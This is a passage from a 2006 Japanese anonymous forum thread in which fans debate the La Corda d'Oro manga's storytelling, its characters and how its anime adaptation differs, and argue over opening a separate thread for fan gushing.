>絵目的に徹するにはしんどそうな気がして
最萌が好きすぎて他キャラと……が辛くて読めない人もいるので自分はまだマシだと思う。
ただ最萌以外と「必要」な萌エピがあるのと、EDを迎えるのは別の話ってことで一つ。

717 :花と名無しさん:2006/12/06(水) 18:47:22 ID:???0
>>707
全文同意だ
香穂子の問題点は色々出てるが、
一言で言えば「可愛げがない」に尽きるな
自分以外の物事にあんまり興味を示さないからなー

718 :花と名無しさん:2006/12/06(水) 20:57:38 ID:???0
だからアニメでは積極的に動くよう修正されてるのかもしれんな

ところで今月号なんだけど、最後に普通のヴァイオリンを貰うシーンは
1日経った後だよね?だとしたら、土浦と元カノの会話は回想になるんだろうか
あれきりで終わることはなさそうだから、しばらく出てくるのかなぁ
セレ終わってすでに3日目か…

719 :花と名無しさん:2006/12/06(水) 21:07:43 ID:???0
4セレが半年後とでもしない限りどう練習しても間に合いそうもないな

720 :花と名無しさん:2006/12/06(水) 21:29:54 ID:???0
間に合わないものを間に合わせるのが呉さんクオリティですよ
香穂子の上位入賞に期待

721 :花と名無しさん:2006/12/06(水) 22:26:07 ID:???0
ヴァイオリンは弾けないけど重音はマスターしてる不思議

722 :花と名無しさん:2006/12/06(水) 23:18:26 ID:???0
アニメ本スレで時々黒柚木バレ話してる奴らって、このスレも見てるかな?
見てるなら、よーーーく聞け。アニメ本スレでバレすんなっつーの!!
無意識なんだろうけど、たとえば↓こういうのもアニメサロン板のバレスレでやれよ。

187 名前:風の谷の名無しさん@実況は実況板で 投稿日:2006/12/04(月) 01:44:36 ID:Cc9XY5qW
来週は柚木の回か

189 名前:風の谷の名無しさん@実況は実況板で 投稿日:2006/12/04(月) 01:44:59 ID:juRYSDp5
来週ついにクル━━━(゚∀゚)( ゚∀)(  ゚)(  )(゚  )(∀゚ )(゚∀゚)━━━!?

194 名前:風の谷の名無しさん@実況は実況板で 投稿日:2006/12/04(月) 01:45:43 ID:swbP/xVk
来週はいよいよヤツが来るのか…!!!

208 名前:風の谷の名無しさん@実況は実況板で 投稿日:2006/12/04(月) 01:48:33 ID:Vkg5Ac6D
>>194
彼が来ることによって初めて、本当にコルダが始まったといえます

723 :花と名無しさん:2006/12/06(水) 23:19:25 ID:???0
マルチポストしてる自分は恥ずかしい行為してるとは思わないのかすら

724 :花と名無しさん:2006/12/06(水) 23:24:28 ID:???0
>>722
そのレスのあと、みんなスルーしてるからいんじゃない?

725 :花と名無しさん:2006/12/06(水) 23:29:40 ID:???0
アニメで柚木押し倒しがあるかないかよく話に出てるけど、
同じ柚木好きでも、あれに萌えた人と逆の人がそれぞれに居て面白いな
漫画オンリーで柚木好きなら、当然あれにも萌えたということなのかな?

726 :花と名無しさん:2006/12/07(木) 02:52:40 ID:???0
>>722
アニメスレ見てない人間もいるわけで。
まずお前が住み分けを覚えろよ。


727 :花と名無しさん:2006/12/07(木) 03:14:02 ID:???0
最近他スレのレス持ってくる人増えたけど正直うざい

728 :花と名無しさん:2006/12/07(木) 04:12:50 ID:???O
>>727
同意

729 :花と名無しさん:2006/12/07(木) 08:43:23 ID:???O
アニメのネタバレスレでも言われてたな
最近特にコルダ関連スレが混ざってる気がする
うまく住み分け出来ると良いのだが

しかし香穂子が最終セレに出場すると仮定しても、どう話を進めるか検討付かんなー
来月号は土浦メインで話が動くのかな
火原はどうやって浮上させるんだろ、香穂子に告白?

730 :花と名無しさん:2006/12/07(木) 09:18:18 ID:???0
告白させるかも、と自分は思ってる。
けど、普通のヴァイオリンをもらったばかりの香穂子に
火原の事を考える余裕があるとは思えないからなぁ。
練習に身が入らない原因になるだけだったら火原がカワイソス。

731 :花と名無しさん:2006/12/07(木) 10:38:16 ID:???O
どうせ丸くは収まらないなら香穂子より火原をすっきりさせてやって欲しいよ

732 :花と名無しさん:2006/12/07(木) 11:20:30 ID:???0
ふと思った。
このまま淡々と第4セレが終わって、みんなとそれなりに仲良くなって、
でもリリEDな感じにすると、そんな話数なくてもいけそうだよね?
今の話、2月までに終わって、3月から2の話がスタートしたりして。

733 :花と名無しさん:2006/12/07(木) 11:22:56 ID:???0
>>732
2の発売が決まってから、それが一番ありそうで
一番萎える展開だと思ってる。

今のは今のでそれなりに終わらせて、もっと構成力のある漫画家を起用するか
呉さん続投なら原作者つけるかして欲しい。

734 :花と名無しさん:2006/12/07(木) 11:29:24 ID:???O
リリEDというのが何なのかよく分からないが、
いくら淡々とやったって2月までに最終セレ終了させるのは無理でしょう
今までだって各セレまでには10話くらいあるわけで…もっとあってもいいくらいだ

735 :花と名無しさん:2006/12/07(木) 11:33:51 ID:???0
自分も2の発売が分かってから、漫画とアニメで恋愛EDはないと思ってる

いくらなんでも、あと3回で完結はないだろうけどw

736 :花と名無しさん:2006/12/07(木) 11:35:54 ID:???0
過去ログより

>コンクールに出るという話の前をやる前にヴァイオリンの実験台になってもらうエピ
>→香穂子音楽にのめり込む
>→自由でいい演奏が出来るようになる
>→あんまりいい音なんでリリが皆にこの音を聞いてほしいと思う
>という流れだったらどうだったろ

これだったら良かったね、自然で スゴク(・∀・)イイ!!
・・・今さらだけどネ

737 :736:2006/12/07(木) 11:37:35 ID:???0
字を削るの忘れた

× >コンクールに出るという話の前をやる前にヴァイオリンの実験台になってもらうエピ
○ >コンクールに出るという話をやる前にヴァイオリンの実験台になってもらうエピ

738 :花と名無しさん:2006/12/07(木) 12:16:18 ID:???0
黒柚木降臨や押し倒しでこのスレが盛り上がったとレスがあったから
気になって過去ログ読んでみた

柚木ファンの姐さん達のテンション高い書き込みにワロタw
あとあの頃は香穂子の評価も高かったんだね
1セレ前と後で性格変わったとか指摘もあったけど、
可愛い、好きだみたいな好意的な意見がかなり多かった

739 :花と名無しさん:2006/12/07(木) 12:26:57 ID:???0
あの辺までは実際結構おもしろかったんですよ
自分的には、黒柚木登場でちょっと先行きが不安になりだして、
柚木婚約騒動あたりから、これでは…になってきた

740 :花と名無しさん:2006/12/07(木) 12:39:49 ID:???0
>>738
なつかしいw
あのときはめちゃくちゃ盛り上がったなー
しかもポジティブな盛り上がり方だった

今はネ(ry
今後の呉さんに期待するとしようか・・・orz

741 :花と名無しさん:2006/12/07(木) 12:53:04 ID:???O
柚木押し倒しエピ自体は苦手だけど、
涙を浮かべた香穂子は可愛かったし、負けるもんかー!と叫んだ香穂子も気に入ってるよ
絵柄もあの頃が一番好きだし



膝割られたのか…な描き方はあまりしてほしくなかったよ
もうちょっとぼかしてくれても良かったのに…
個人的に、コルダにそこまでのリアルは求めてないorz

742 :花と名無しさん:2006/12/07(木) 13:04:36 ID:???0
急に押し倒されたのにひざがきっちり閉じられてた姿だったら大爆笑だなw
それにちゃんとぼかして描いてるじゃないか
押し倒したときに下の方を描いてなかったでしょ?
十分ぼかしてると思う

743 :花と名無しさん:2006/12/07(木) 13:38:21 ID:???O
人それぞれなんだし、嫌な人はあれでも嫌だったんだろう
以前ドラマCDの黒柚木の声が黒過ぎるという話があったが
漫画の黒柚木の言動ならあれでいいんじゃないかと思ったな

744 :花と名無しさん:2006/12/07(木) 13:47:59 ID:???0
そっか、それもそうだね
スマソ

745 :花と名無しさん:2006/12/07(木) 15:06:46 ID:???O
>>736
魔法のヴァイオリン使うのとコンクール出場が最初からワンセットだから
リリも香穂子も色々突っ込まれるんだよね

746 :花と名無しさん:2006/12/07(木) 22:14:31 ID:???0
それにしても、ゲームでコルダ2が出ることで恋愛EDなしが濃厚というのも
なんだか興が削がれてしまった気分だ…特定の誰かとEDを迎えてほしくない
という人ももちろん居るだろうけれど、火原や土浦は?と思ってしまったり

747 :花と名無しさん:2006/12/07(木) 22:16:52 ID:???0
火原はとりあえず、コンクールで1位とってから恋に現を抜かせといいたい

748 :花と名無しさん:2006/12/07(木) 22:43:11 ID:???O
火原はもともとそういうキャラじゃん
友情も恋もすべてが音楽につながるような。
それが真剣じゃないとか真面目じゃないとか取られるみたいだけど……。

最終セレの火原には期待してる。放置されないことを祈るしかないけどねorz

749 :花と名無しさん:2006/12/07(木) 22:57:42 ID:???0
>>748
だって、自分で練習キライとか言っちゃってるしさ
練習してる描写より買い物してたり寄り道してたりするほうが多いしさ
他のキャラ巻き込んで練習邪魔してる印象あるしさ

そりゃ音楽は楽しいものなんだろうし、楽しむのが一番なんだろうけど、
音楽科が香穂子に「不真面目だ!」って怒るのが火原見ててちょっと分かるよ

750 :花と名無しさん:2006/12/07(木) 23:33:25 ID:???0
>>748
音楽に繋がってたっけ?
漫画ではそうは見えない…

751 :花と名無しさん:2006/12/07(木) 23:35:59 ID:???O
>>749
>だって、自分で練習キライとか言っちゃってるしさ
そういう設定としか言いようがない。
キライじゃなくて苦手、だけどね。

>練習してる描写より買い物してたり寄り道してたりするほうが多いしさ
>他のキャラ巻き込んで練習邪魔してる印象あるしさ

 呉 さ ん の せ い だ 。 としか言えない。


>そりゃ音楽は楽しいものなんだろうし、楽しむのが一番なんだろうけど、

これは火原ルートに入らないかぎり解決しないね

>音楽科が香穂子に「不真面目だ!」って怒るのが火原見ててちょっと分かるよ
解釈も受け取り方もそれぞれなのは承知の上で、この一文は腹ただしい。
うまくいえないけど。

752 :花と名無しさん:2006/12/07(木) 23:41:53 ID:???0
つか、ゲームでも火原は何で選ばれたかわからないと
言われるキャラなんだから、腹立てるようなことでもない。

753 :花と名無しさん:2006/12/07(木) 23:48:27 ID:???0
実力はあるんじゃないの?
練習キライで勉強もしないけど上手ってよくわかんないけど。

754 :花と名無しさん:2006/12/07(木) 23:59:16 ID:???0
そんな人がいるなら…まさしく天才だよね

755 :花と名無しさん:2006/12/08(金) 00:00:06 ID:???O
練習苦手とゲームで火原自身が言ってるけど、飽きっぽいだけで真面目にやってるんだろうな、と思ってた。
何度か言われてたけどピアノはどうなんだろうね。副科であるはずだし。
推薦・実技で受かったなら(漫画から推測)それなりには弾けるのかな。
音楽やってれば多少は身に付くだろうが。

756 :花と名無しさん:2006/12/08(金) 00:06:29 ID:???0
火原はいわゆるこつこつと楽譜見て練習っってのではなく
楽しく演奏するのは好きなんじゃないか?
習うより慣れろタイプみたいな

757 :花と名無しさん:2006/12/08(金) 00:13:46 ID:???0
ガヴォットの頃の火原は輝いてますた

758 :花と名無しさん:2006/12/08(金) 00:23:50 ID:???0
>>757
あのエピは火原らしいなぁと思ったよ
アニメじゃ、練習苦手だけどいい演奏したいしって台詞も追加されてるので、
やることはやってると思うんだけどね、気が付けば夜なんてこともあるんだし
ただ、感情が演奏に影響を与えやすいみたいだから、
そこが未熟であり魅力でもあるのではないかと

で、ゲームで火原ルートに入らないと解決しない、という反論はどうだろう
ゲームを知らない人にとっては、漫画で描写されてる内容が全てだと思うよ

759 :花と名無しさん:2006/12/08(金) 00:30:28 ID:???0
とりあえず、ゲームの火原は一人で悩んでたし、
それは自分自身で考えて答えを出さなければいけないものだと認識してたような記憶が

でも漫画だと好きだと認識してもそのままだったし、
イキナリ暗くなった後も土浦とか巻き込んでなんかやってるし、
それも自分自身と向き合ってるわけでもないし、
ただひたすらごまかし続けるだけだしで
なんだかなぁ、と思った

そういや香穂子も魔法のヴァイオリンひたすらごまかし続けてたなぁ
作者的にとりあえず問題にならなきゃおk、って信念があるのかすら

760 :花と名無しさん:2006/12/08(金) 00:58:17 ID:???0
庄司さんといい、月森を閉じ込めた音楽科の三人といい、
表沙汰になることなく身内だけで終わるパターンが多いな
だから行動範囲が狭く感じるのだろうか

まだ庄司さんは今も月森のこと好きなのかね
香穂子には謝罪した描写があったけど、
月森の前からは逃げ出してしまったきりなわけで、
翌日からも学校で顔を合わせてるだろうに辛いんじゃないかと

761 :花と名無しさん:2006/12/08(金) 01:26:02 ID:???0
庄司さんのフォローは欲しかったなー
呉さんが、そういう気の利いた話を描けたらなあ…

762 :花と名無しさん:2006/12/08(金) 02:21:58 ID:???0
庄司さんのフォローが出来るくらいだったら
香穂子とか火原とか、いくらでもフォロー出来るだろ…
誰一人フォロー出来てない=呉さんの実力。なんじゃないのかね。やっぱり。

763 :花と名無しさん:2006/12/08(金) 08:23:36 ID:???O
オリキャラなんだから、あれ以上のフォローはいらん

764 :花と名無しさん:2006/12/08(金) 08:24:17 ID:???O
フォローしない、深く考えさせずに誤魔化すだけ
というエピばかりだな
呉さんの自己投影なんだろうか

765 :花と名無しさん:2006/12/08(金) 08:30:15 ID:???O
使い捨てキャラになんでフォローがいるのよ

766 :花と名無しさん:2006/12/08(金) 08:30:16 ID:???0
>呉さんの自己投影なんだろうか
十辺舎一九が弥次・喜多みたいな性格だったと言ってる位イタイ

767 :花と名無しさん:2006/12/08(金) 09:12:30 ID:???0
>>766
お前の例えにワロタw
何故いきなり十辺舎一九ww

>>765
いや、主人公の好感度を上げるために、普通なら某かのフォロー入れるところだと思う。
そうすりゃここまで叩かれる事もなかったんでないの?


768 :花と名無しさん:2006/12/08(金) 09:17:13 ID:???0
>>766
朝っぱらから盛大に吹いた

769 :花と名無しさん:2006/12/08(金) 10:29:13 ID:???0
ちゃんと謝ってるし十分だろ。
アニメなんか謝りもしないで放置だぞ。

770 :花と名無しさん:2006/12/08(金) 10:31:11 ID:???0
>>766
そのたとえが出てくるおまいさんがすごいよw

いろんなエピの投げっぱなし具合を見てると、
呉さん自身が何らかの問題に対して、回避したことはあっても
乗り越えたことはないのかもしれないと思う
創作物は結局作者の能力を超えることはないし

771 :花と名無しさん:2006/12/08(金) 10:35:52 ID:???O
香穂子の態度は基本的にごまかしか先送りだしなあ

意地悪キャラが妙にリアルなのも実体験?と言われてたな

772 :花と名無しさん:2006/12/08(金) 11:03:55 ID:???0
>>769
アニメでも台詞こそないものの、ちゃんと謝っているシーンはあったよ
香穂子の表情も出てたから印象深い

773 :花と名無しさん:2006/12/08(金) 11:19:46 ID:???0
柚木の車の中で回想してるだけじゃん。
どこが印象深いんだか。
事実、ほとんどの人が気づいてなかったろ。

774 :花と名無しさん:2006/12/08(金) 11:55:34 ID:???0
>>772の中では印象深かったんだよ。
漫画でいえば、1Pくらいかけて謝ってるように感じたんだよ。

775 :花と名無しさん:2006/12/08(金) 12:09:38 ID:???0
>>773
>774も書いてくれてるけど、自分の中では印象深かったんだから仕方ない
漫画では庄司さんに謝られてるときの香穂子の表情は見えなかったからね
台詞がないのは残念だったが、アニメはアニメで伝わってくるものがあった
別に漫画をけなしているわけでもアニメをマンセーしているわけでもないよ
どちらもあれば一番良かったと思う

ほとんどの人が気付いてないって言うけど、気付かなかった人が書いているのだから
そちらの人が目立って当たり前でしょう、ちゃんと気付いてる人も居るんだから何とも言えない
というか、何をそんなにカリカリしているのか意味ワカラン

776 :775:2006/12/08(金) 12:17:09 ID:???0
連投スマソ、印象深いといっても漫画の1ページほどではないので…
漫画は漫画、アニメはアニメでという意味なのでヨロ

777 :花と名無しさん:2006/12/08(金) 12:25:18 ID:???O
変につっかかる人がいるだけだよ
気にすんな

778 :花と名無しさん:2006/12/08(金) 12:40:25 ID:???O
回想シーンで本当にちらっと出てきただけのアニメのあのシーンが印象深いって・・・
かなりひいき目入ってると思う。

779 :花と名無しさん:2006/12/08(金) 12:51:42 ID:???0
まぁ、漫画と違うシーンだとかえって印象に残るんじゃない?

私は、アニメで香穂子が友達にイラついて喧嘩になったとき、
結局先に友達に謝らせたのを、いまだに感じ悪く思ってるよ。

780 :花と名無しさん:2006/12/08(金) 12:55:42 ID:???0
>>778
本人がそうだって言ってるんだからそれでいいじゃん
アニメマンセーしてるんじゃないとも言ってるんだからほっとけよ
そんなこと言ったら漫画だってちらっと出てきただけだと思うけど?

>>779
友達とのシーンを追加してくれたのは嬉しいけど、
もう少し作り込んでもらえたらもっと良かったなぁとは思った
漫画では友達二人今どうしてるんだろうね?

781 :花と名無しさん:2006/12/08(金) 13:50:35 ID:???0
自分は最近、漫画を読んだクチだが、アニメでの庄司さん回想シーンで
庄司さんが香穂子に謝っているように見えなかった。
あくまで香穂子を責めた時の回想だと思ったよ。

後で漫画を読んで、謝ったシーンの回想なの!?とびっくりした。
先に漫画を読んでいた人は脳内補完できるかもしれないが
まだの人&読まない人には解らないシーンだと思った…。

782 :花と名無しさん:2006/12/08(金) 14:09:20 ID:???0
>アニメでの庄司さん回想シーン
そんなのあったのか・・・

783 :花と名無しさん:2006/12/08(金) 14:24:44 ID:???O
漫画で謝られた記憶がない自分は…orz

784 :花と名無しさん:2006/12/08(金) 14:37:17 ID:???0
>>783
合宿が始まる朝、柚木と車に一緒に乗ってた香穂子が、
泣きながら謝っている庄司さんを回想してるよ
自分もこの前3巻を読み返して、ちゃんと謝ってたんだと思ったw

785 :花と名無しさん:2006/12/08(金) 14:49:15 ID:???0
アニメはさておき(観てない人もこのスレには多いだろうから)、
漫画のそういうシーンを見逃してる人は多いのかな
そうだとしたら、それはコマが小さくて見逃しがちだとか
印象に残りづらいとか、そんな理由からだろうか

786 :花と名無しさん:2006/12/08(金) 14:58:38 ID:???0
>>785
コマが小さかったってことはなかったよ。
あのコマは縦長で結構大きかった

787 :花と名無しさん:2006/12/08(金) 15:11:52 ID:???0
>>784
確認した、確かに謝ってる

788 :花と名無しさん:2006/12/08(金) 15:33:27 ID:???0
>>774
漫画でも1コマじゃなかったっけ?
しかも結構小さいやつ

789 :花と名無しさん:2006/12/08(金) 17:02:41 ID:???0
第三セレクションで月森の演奏中
小さな一こまにいる女の子は庄司さん?
7巻88ページなんだけど。

790 :花と名無しさん:2006/12/08(金) 17:15:16 ID:???0
>>789
普通科の制服だし別人だと思うよ

呉さんが描く女の子、最近あんな感じの顔つき増えたなぁ…脇メイン関わらず

791 :花と名無しさん:2006/12/08(金) 17:47:19 ID:???O
>>784
あった!本当に気が付かなかった……orz
あんまり開いて読まない上にノド寄りに庄司さん居るから気付かなかったのかな

792 :花と名無しさん:2006/12/08(金) 18:03:30 ID:???0
>>791
私の場合は、読んだけど忘れてただけみたい

793 :花と名無しさん:2006/12/08(金) 18:21:40 ID:???0
個人的には庄司さんのフォローはあってもなくてもどっちでも、と思うけど、
他にも音楽科3人組とか柚木の婚約者とか、主人公や男キャラの妨害に、
使い捨てキャラが都合よく使われまくってるからよけいに言われるんじゃない?
それぞれやってることせせこましいし。

ライバルキャラとか次々出てくるのは少女漫画のお約束だけど
呉さんの場合は各キャラ出てくるスパンが極端に短いから、使い捨て感が強いんだとオモ。

794 :花と名無しさん:2006/12/08(金) 18:24:19 ID:???0
使い捨てキャラでもいいけど、
音楽科3人組のフォローがないのはさすがにおかしい
あれをフォローもなしにさらっと流す呉さんの感覚が信じられないな・・・

795 :花と名無しさん:2006/12/08(金) 18:37:16 ID:???0
2セレの妨害は掲載当時は
そんなに問題視されてなかったのにどうしたんだ?

796 :花と名無しさん:2006/12/08(金) 18:42:09 ID:???0
ここのスレには、掲載当時を知らない人もいることをお忘れなく

797 :花と名無しさん:2006/12/08(金) 18:43:50 ID:???0
新規さんが読むと引っかかるのか

798 :花と名無しさん:2006/12/08(金) 18:44:40 ID:???0
>>795
こないだアニメで丁度2セレやったからかもな

799 :花と名無しさん:2006/12/08(金) 18:51:57 ID:???0
>>793
ライバルならまだいいけど
「性格に問題のあるキャラがおいたをしでかす」パターンが多くてなぁ…
それでメインキャラが魅力的に見えるかというとそうでもないし。
月森もあれじゃ成長が分からないし
柚木も勘違い女の一人くらい自力でどうとでもあしらえよ、と思ったなー

800 :花と名無しさん:2006/12/08(金) 19:08:39 ID:???0
単純に、礼乃については他校なので柚木の言葉を胸に
今も明後日な方向に頑張ってるのかなと想像してみたりw

でも、庄司さんや音楽科三人組については、
同じ学校で月森や森さんと同じ音楽科の二年なわけで、
あれから彼女らはどうなったんだ?今どうしてるんだ?と思い出す機会が多い
狭い世界なのにそうでないような、消化不良なものは感じるよ

801 :花と名無しさん:2006/12/08(金) 19:48:15 ID:???0
庄司さんはなぜか1年生だと思い込んでた

802 :花と名無しさん:2006/12/08(金) 19:51:49 ID:???0
>>801一年生だよ?

803 :花と名無しさん:2006/12/08(金) 19:54:22 ID:???0
あれ? いいのか

804 :800:2006/12/08(金) 19:56:41 ID:???0
スマソ、庄司さんは1年生だったね…森さんとごっちゃになってたorz

805 :花と名無しさん:2006/12/08(金) 20:07:11 ID:???O
>>794
信じられないと言われるほどのことじゃないと思うが。
逆に、ああいうキャラのその後を書いた漫画のほうが少ない。


呉さんの漫画が素晴らしいとは口が裂けても言わないが、
どうでもいいことにこだわる人も多すぎると思う。

806 :花と名無しさん:2006/12/08(金) 20:13:17 ID:???0
音楽科3人組の字を見て素で柚木親衛隊しか出てこなかったw
メガネ筆頭の男3人組ね

森さん辺りに「そういえば…」と処分を軽く語らせたら収まったかな
でないと音楽の世界はあんなのが跋扈している魑魅魍魎の世界になっちまう
呉さんにとって音楽の世界がそういう所だってのなら放置でも仕方ないが

807 :花と名無しさん:2006/12/08(金) 20:16:34 ID:???0
>>805
今やってる話のストーリーが、読者を(スレ住人を)満足させるものであれば
この程度のことで突っ込まれないんだがな。。。

他の某作品のスレでもこういう流れは見たことがある

808 :花と名無しさん:2006/12/08(金) 20:16:41 ID:???0
音楽の世界、とは流石に思わないが学校の程度を疑う

809 :花と名無しさん:2006/12/08(金) 20:24:55 ID:???O
こんなことぐらいで、程度を疑うと言っちゃうほうが信じられないわ

810 :花と名無しさん:2006/12/08(金) 20:28:06 ID:???O
音楽の世界に夢見ちゃってる人がいるなあ。

811 :花と名無しさん:2006/12/08(金) 20:28:24 ID:???0
また出た…

812 :花と名無しさん:2006/12/08(金) 20:35:11 ID:???0
まあ、幸せな環境で皆に愛されて育ったんでしょうよ

813 :花と名無しさん:2006/12/08(金) 20:44:57 ID:???0
良くわからんけど、音楽の世界に夢見てるから不満が出てるの?
どうでもいいことに拘り過ぎる人が多いのも事実だから、
それはスルーしてもいいと思うけれども、
月森閉じ込めた人らがあれっきりスルーなのに疑問を抱いてる人たちは
夢見てるかどうかとはまた違うんじゃないかと思って読んでたんだが

814 :花と名無しさん:2006/12/08(金) 20:48:29 ID:???0
悪い奴は成敗された方がカタルシスを味わえるしな

815 :花と名無しさん:2006/12/08(金) 20:54:12 ID:???0
>>809
最近の高校はあの程度の暴力事件が起きて犯人がわかっててもスルーなの?

816 :花と名無しさん:2006/12/08(金) 20:59:59 ID:???0
月森は自分を襲って閉じ込めた奴らが
すぐそこにいると分かっててよくスルーしていられるな…
3セレまで無警戒に過ごしてたんだろうか

817 :花と名無しさん:2006/12/08(金) 21:38:41 ID:???0
>>807
いや、作品が面白くてもこういうこという人はいるよ。
なんつーか、潔癖というか、罪を犯した人は必ず
裁かれなければ気がすまない、みたいな人。

小説だけど、某なかなか続きのでない中華ファンタジーでも、
盗みを働いた元公主が裁かれずに、別の国で高い地位を得てるのは
おかしいとか、殺人を働いた子供が罪に問われずに、その後神様に
なってるのはおかしいとか言う人いたし。

818 :花と名無しさん:2006/12/08(金) 21:39:44 ID:???0
>>815
被害者が表沙汰にしない限りスルーだよ。

819 :花と名無しさん:2006/12/08(金) 21:41:28 ID:???0
>>815
学校の窓ガラスわりまくってもスルーですよ!
生徒が生徒を全裸にして笑いものにしてもスルーですよ!

820 :花と名無しさん:2006/12/08(金) 21:42:39 ID:???0
マジレスすると、
被害者が騒がない限りスルー

821 :花と名無しさん:2006/12/08(金) 21:46:01 ID:???0
>>817
それは異世界だけどこっちは一応現代日本の高校だし…
設定からして比較にならんだろ

822 :花と名無しさん:2006/12/08(金) 22:06:58 ID:???0
>>821
作品を比べてるんじゃなくね?

823 :花と名無しさん:2006/12/08(金) 22:08:45 ID:???0
>>821
作品を比較してるんじゃなくて、内容が面白かろうが
つまらなかろうが、どーでもいいことを気にする人は
気にするってことでは?

824 :花と名無しさん:2006/12/08(金) 22:10:57 ID:???0
815のつっこまれっぷりにワロタ

825 :花と名無しさん:2006/12/08(金) 22:17:09 ID:???0
>>813
発言者の人格を叩くしか反論の術がないんだよ

826 :花と名無しさん:2006/12/08(金) 22:38:45 ID:???0
>>813
>>810>>806へのレスだろ

>>825
この程度で叩かれたと思うんなら、2chには来ない方がいい

827 :花と名無しさん:2006/12/08(金) 22:47:15 ID:???0
>>826


828 :花と名無しさん:2006/12/08(金) 22:58:44 ID:???O
次回はカホコの前に元カノは現れるだろうか。

829 :花と名無しさん:2006/12/08(金) 23:07:05 ID:???O
次回で見切りつけるか考えてる人いるんだろうなあ

830 :花と名無しさん:2006/12/08(金) 23:22:47 ID:???O
>>826
論点のすり替えw

831 :花と名無しさん:2006/12/08(金) 23:26:44 ID:???0
>>828
少なくとも土浦には突っ込み入れるよね、あのやり取り見てたんだろうし
声かけられた日はもう終わってるっぽいから、
下手すりゃ翌日以降も土浦に付きまとって、香穂子の前でわざと腕組んだり

…そういうのだけは絶対に止めてね、呉さん(´・ω・`)

832 :花と名無しさん:2006/12/08(金) 23:32:09 ID:???O
悪い期待を裏切らないからな、呉さんorz

833 :花と名無しさん:2006/12/08(金) 23:41:57 ID:???0
それはそれで楽しそうだが

しかし、例え腕組んだとしても香穂子はスルーの可能性の方が
強い気がするがw
何しろ香穂子は誰に対しても恋愛感情ほとんど見せてない品

834 :花と名無しさん:2006/12/08(金) 23:48:00 ID:???0
そうだね、香穂子はちっとも元カノに嫉妬しなさそうだw

835 :花と名無しさん:2006/12/08(金) 23:51:26 ID:???0
香穂子が恋愛するとどうなるんだろうなー
なんか全く想像が出来ないというか…
これだけ恋愛モードが想像し難い主人公はめずらしい(個人的に)

836 :花と名無しさん:2006/12/09(土) 00:43:32 ID:???0
香穂子は普通のヴァイオリン弾かなきゃならないわけで、
恋愛してる心の余裕が今は特にない気がする。

837 :花と名無しさん:2006/12/09(土) 07:51:38 ID:???0
流れぶったぎって悪いが、難民板かどこかに
漫画版(含呉作品)の萌話スレをたてようかと思ってる。
ここだと議論が多くて、そういう話投下し難い雰囲気だし。
勝手にたてるのもアレなんで、一応アナウンスしときます。

838 :花と名無しさん:2006/12/09(土) 08:35:23 ID:???O
個人的には避難所の方が良いかと思ったが、アナウンスしとくってことは
>>837の一存で場所決めて立てるということか?
なら、ここに書いても勝手に立てるのと大差なく感じる
ここでもう少し住人の意見募った方がいいんじゃないかと

839 :837:2006/12/09(土) 08:38:42 ID:???0
>838
言葉が足りなくてごめん、勝手に場所決めるとかそういう意図はないんだ。
ほかの人の意見も欲しいのでお願いします。


840 :花と名無しさん:2006/12/09(土) 08:39:03 ID:???0
元カノ登場は男がヒロインと恋愛(もしくはそれに近い)関係にある場合のみ動揺が生まれるわけで
現状では土浦が香穂子への想いを自覚する以外には意味無いだろうなーと思う。
土浦がヘタに元カノに優しくても素っ気無くてもここで叩かれそうで不安だよ・・・
どう描くつもりなんだろう呉さん

841 :花と名無しさん:2006/12/09(土) 09:09:18 ID:???0
ここで萌え話すりゃいいじゃん
振りもしないではなしにくーい
ってのは我侭だと思うな

ココがそんなに嫌なら自分でしたらばかりればいいんだし

842 :花と名無しさん:2006/12/09(土) 09:25:21 ID:???O
香穂子って、土浦を良くも悪くも意識していないと思うのだが。
あんな関係で、妬いたりは有り得ないと思う。

843 :花と名無しさん:2006/12/09(土) 09:39:32 ID:???0
>>841
全文同意。
萌え話したければネタ振りすればいいだけでしょ。

自分も元カノは土浦自覚のために出てきたと思ってるんだけど
今月号の話で土浦は十分自覚してるように見えたから
元カノ出さなくても良かったんじゃ…とちょっと思った。

844 :花と名無しさん:2006/12/09(土) 10:25:15 ID:???O
>>637
自分は萌スレ立ててもいいんじゃないかなーと思った


来月の話は土浦スキーとしては気になるところだ。


845 :花と名無しさん:2006/12/09(土) 10:42:14 ID:???0
萌え話のできるような時期はもう過ぎたな…あの頃に戻りたいよ
悪いところばかりが目に付いてしまうようになった。

846 :花と名無しさん:2006/12/09(土) 11:12:15 ID:???0
>>840
元カノ登場!というと、主人公と相手がすでに近い間柄に居たときに効果があるもので
それこそ火原のように「モヤモヤする」状態になったり…という古典的イメージがあるw

過去ログ読み返してたけど、
第一セレまでの流れでは今と同じようなところで突っ込まれてるね
dat落ちもあって全部見られないんだが、黒柚木降臨以外で
盛り上がったのはいつだろう?やっぱり合宿編なのかな?

847 :花と名無しさん:2006/12/09(土) 11:47:36 ID:???O
別スレは立てる程のことでもないと思う
萌え話を振ると荒れるってわけでもないんだからここで十分なのでは

848 :花と名無しさん:2006/12/09(土) 11:54:05 ID:???O
萌スレは欲しい。ここだと話題振っても…だし。
期待できる時期は過ぎたけどもたまには何も考えず話したいときもあるし、
純粋に作品好きな人は現状話しにくいのは確かだと思うし。

しかし萌スレが立ってしまうと、こっちが今以上にアンチスレのようになりそうで恐い(議論討論レベルじゃなく)
そして萌スレはすぐ落ちそうだとも思う。

賛成もしないが反対もしない。

849 :花と名無しさん:2006/12/09(土) 12:06:55 ID:???0
>>848
あははは
別スレ立てたって・・・だよ

賛同者いないのを住人のせいにするのはよくないよ
食いつき悪いのはネタがわるいんだよ

850 :花と名無しさん:2006/12/09(土) 12:23:45 ID:???0
今は批判主流だから、萌えなら別スレ立てた方が賢いと思う
萌えたい人は批判レスをあまり見たくは無いだろうしね

851 :837:2006/12/09(土) 12:29:20 ID:???0
いろいろな意見ありがとう。
過疎や落ちるの覚悟で総合避難所に立てさせてもらおうかと考えてる。
その場合も向こうでもう一度相談する必要があるけど。

852 :花と名無しさん:2006/12/09(土) 13:12:21 ID:???0
>>845
言われてるように、本筋が面白ければ少しくらいの矛盾は
別に気にされないと思うんだけどね…

853 :花と名無しさん:2006/12/09(土) 13:46:36 ID:???0
852の言うようなことを免罪符に、どーでもいいようなつまらないことを
ネチネチ突っ込むのもどうかと思うが。

854 :花と名無しさん:2006/12/09(土) 13:59:06 ID:???0
漫画がへたれるとスレがこういう雰囲気になって萌えネタを
話しにくくなるのは2chの特性っつーか、もう仕方ないと思ってる
他のスレも連載が好調なときはわいわい賑わってるけど
へたれたらアンチスレのようになっちゃってるしな

しかし流れが速すぎて最近ついていけないよ

